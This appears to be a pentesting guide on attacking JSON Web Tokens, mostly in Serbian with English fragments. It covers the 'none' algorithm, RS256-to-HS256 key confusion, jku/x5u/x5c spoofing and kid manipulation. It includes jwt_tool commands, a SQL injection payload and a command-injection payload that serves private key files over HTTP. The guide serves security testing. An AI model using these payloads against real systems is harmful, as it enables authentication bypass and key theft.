JWT Vulnerabilities (Json Web Tokens)

Ako ste zainteresovani za hakersku karijeru i da hakujete ono što se ne može hakovati - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).

Deo ovog posta se zasniva na sjajnom postu: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology Autor sjajnog alata za pentesting JWT-ova https://github.com/ticarpi/jwt_tool

Brze Pobjede

Pokrenite jwt_tool u režimu All Tests! i sačekajte zelene linije.

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Ako imate sreće, alat će pronaći neki slučaj gde web aplikacija pogrešno proverava JWT:

Tada možete pretražiti zahtev u vašem proxy-ju ili izvući korišćeni JWT za taj zahtev koristeći jwt_ alat:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Možete takođe koristiti Burp Extension SignSaboteur za pokretanje JWT napada iz Burp-a.

Manipulacija podacima bez modifikacije

Možete samo manipulisati podacima ostavljajući potpis nepromenjenim i proveriti da li server proverava potpis. Pokušajte da promenite svoje korisničko ime na "admin", na primer.

Da li se token proverava?

Da biste proverili da li se potpis JWT-a verifikuje:

• Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.

• Promena u vraćenoj stranici takođe ukazuje na verifikaciju.

• Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.

Izvor

Važno je utvrditi da li je token generisan na strani servera ili klijenta pregledom istorije zahteva proksija.

• Tokeni prvi put viđeni sa strane klijenta sugerišu da bi ključ mogao biti izložen klijentskom kodu, što zahteva dalju istragu.

• Tokeni koji potiču sa strane servera ukazuju na siguran proces.

Trajanje

Proverite da li token traje više od 24h... možda nikada ne ističe. Ako postoji polje "exp", proverite da li server ispravno obrađuje to.

Brute-force HMAC tajna

Pogledajte ovu stranicu.

Izmenite algoritam na None

Postavite korišćeni algoritam na "None" i uklonite deo sa potpisom.

Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da postavite vrednost polja "Alg" na "None").

Promenite algoritam RS256 (asimetrični) na HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555)

Algoritam HS256 koristi tajni ključ za potpisivanje i verifikaciju svake poruke. Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju.

Ako promenite algoritam sa RS256 na HS256, kod na backend-u koristi javni ključ kao tajni ključ i zatim koristi HS256 algoritam za verifikaciju potpisa.

Zatim, koristeći javni ključ i menjajući RS256 u HS256, mogli bismo kreirati validan potpis. Možete preuzeti sertifikat web servera izvršavajući ovo:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nova javna ključ unutar zaglavlja

Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114).

Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom. (Pošaljite zahtev u Repeater, unutar taba JSON Web Token izaberite "CVE-2018-0114" i pošaljite zahtev).

JWKS Spoofing

Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da se povezuje sa JWKS (JSON Web Key Set) datotekom koja sadrži javni ključ neophodan za verifikaciju tokena.

• Procena Tokena sa "jku" Zaglavljem:

• Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.

• Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.

• Praćenje HTTP Interakcije:

• Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg pruženog linka.

• Kada koristite jwt_tool za ovaj proces, ključno je ažurirati jwtconf.ini datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.

• Komanda za jwt_tool:

• Izvršite sledeću komandu da simulirate scenario sa jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Pregled Problema sa Kid

Opcionalna zaglavna tvrdnja poznata kao kid koristi se za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ova tvrdnja pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.

Otkriće Ključa kroz "kid"

Kada je kid tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb direktorijuma za odgovarajuću datoteku ili njene varijacije. Na primer, ako je "kid":"key/12345" specificirano, datoteke /key/12345 i /key/12345.pem treba pretražiti u veb korenu.

Putanja Prelaz sa "kid"

kid tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade menjajući kid vrednost kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni kid vrednost dok se zadržava originalni potpis može se postići korišćenjem -T oznake u jwt_tool, kao što je prikazano u nastavku:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via "kid"

If the kid claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through "kid"

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL. If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Zatim možete koristiti na primer jwt.io da kreirate novi JWT sa kreiranim javnim i privatnim ključevima i usmerite parametar jku na kreirani sertifikat. Da biste kreirali validan jku sertifikat, možete preuzeti originalni i promeniti potrebne parametre.

Možete dobiti parametre "e" i "n" iz javnog sertifikata koristeći:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI koji pokazuje na skup X.509 (standardni format sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.

Pokušajte da promenite ovaj header u URL pod vašom kontrolom i proverite da li je primljena neka zahtev. U tom slučaju, mogli biste da manipulišete JWT-om.

Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Zatim možete koristiti na primer jwt.io da kreirate novi JWT sa kreiranim javnim i privatnim ključevima i usmerite parametar x5u na sertifikat .crt koji je kreiran.

Takođe možete zloupotrebiti obe ove ranjivosti za SSRF.

x5c

Ovaj parametar može sadržati sertifikat u base64:

Ako napadač generiše sertifikat sa sopstvenim potpisom i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje druge parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ugrađeni javni ključ (CVE-2018-0114)

Ako JWT sadrži ugrađeni javni ključ kao u sledećem scenariju:

Koristeći sledeći nodejs skript, moguće je generisati javni ključ iz tih podataka:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Moguće je generisati novi privatni/javni ključ, ugraditi novi javni ključ unutar tokena i koristiti ga za generisanje novog potpisa:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Možete dobiti "n" i "e" koristeći ovaj nodejs skript:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.

ES256: Otkivanje privatnog ključa sa istim nonce

Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva jwta, privatni ključ može biti obnovljen.

Here is a example: ECDSA: Otkivanje privatnog ključa, ako se koristi isti nonce (sa SECP256k1)

JTI (JWT ID)

JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT token. Može se koristiti za sprečavanje ponovnog korišćenja tokena. Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Zahtev 0001 i 10001 će koristiti isti ID. Dakle, ako backend povećava ID sa svakim zahtevom, mogli biste to iskoristiti da ponovno pošaljete zahtev (trebalo bi poslati 10000 zahteva između svake uspešne ponovne upotrebe).

JWT Registrovane tvrdnje

Drugi napadi

Napadi preusmeravanja između usluga

Primećeno je da se neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.

• Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu.

Provera isteka tokena

Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje istečenih tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljava, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući analizu vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt_tool-a.

• Bezbednosni rizik može postojati ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći.

Alati

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).